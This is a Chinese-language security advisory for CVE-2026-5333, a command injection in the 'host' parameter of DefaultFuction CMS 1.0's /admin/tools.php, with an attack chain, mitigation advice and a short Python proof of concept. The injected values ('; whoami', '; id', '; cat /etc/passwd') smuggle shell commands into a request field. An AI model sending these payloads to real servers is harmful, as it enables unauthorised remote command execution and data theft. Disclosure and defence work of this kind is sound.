CVE-2026-5333 CVSS 7.3 高危

CVE-2026-5333: DefaultFuction CMS命令注入漏洞

披露日期: 2026-04-02

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5333

漏洞类型

命令注入

CVSS评分

7.3 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

DefaultFuction Content-Management-System

漏洞概述

DefaultFuction Content-Management-System 1.0版本被发现存在安全缺陷。该漏洞位于/admin/tools.php文件的处理逻辑中，由于对用户输入的host参数缺乏严格的过滤，导致攻击者可以注入恶意系统命令。这是一个无需认证且无需用户交互的远程漏洞，攻击者可利用该漏洞在服务器上执行任意代码，进而控制服务器系统，造成严重的安全风险。

技术细节

该漏洞属于远程命令注入（RCE）漏洞。在DefaultFuction CMS 1.0的/admin/tools.php接口中，程序直接接收用户通过GET或POST请求提交的'host'参数，并将其拼接到操作系统命令中进行调用，未进行任何安全过滤或转义。攻击者可以利用Shell元字符（如分号、管道符等）切断原有命令逻辑，并拼接执行任意恶意指令。根据CVSS 3.1评分向量（AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L），该漏洞利用难度低，无需特权权限，可通过网络直接触发。一旦利用成功，攻击者将获得Web服务器的运行权限，能够读取敏感文件、安装后门或进一步横向移动。

攻击链分析

STEP 1

1. 侦察

攻击者识别出目标站点运行DefaultFuction CMS 1.0，并发现存在/admin/tools.php接口。

STEP 2

2. 漏洞利用

攻击者构造特制的HTTP请求，在'host'参数中插入Shell元字符及系统命令（如; id或; cat /etc/passwd）。

STEP 3

3. 命令执行

服务器端脚本未过滤该参数，直接将其传递给系统shell执行，导致恶意命令在服务器上运行。

STEP 4

4. 后果

攻击者获取命令执行结果，可能进一步获取Webshell或系统权限，导致数据泄露或系统被破坏。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL
url = "http://target-ip/admin/tools.php"

# Malicious payload injecting a command (e.g., whoami)
# Using a semicolon to separate commands
payload = {
    "host": "127.0.0.1; whoami"
}

try:
    response = requests.get(url, params=payload)
    print(f"Status Code: {response.status_code}")
    print("Response Body:")
    print(response.text)
except Exception as e:
    print(f"An error occurred: {e}")

影响范围

DefaultFuction Content-Management-System 1.0

防御指南

临时缓解措施

建议立即在Web应用防火墙（WAF）上添加规则，拦截对/tools.php的请求或检测参数中的命令注入特征符。若暂不升级，可临时删除或重命名受影响的/admin/tools.php文件以阻断攻击面，并加强服务器日志监控以发现潜在的入侵行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表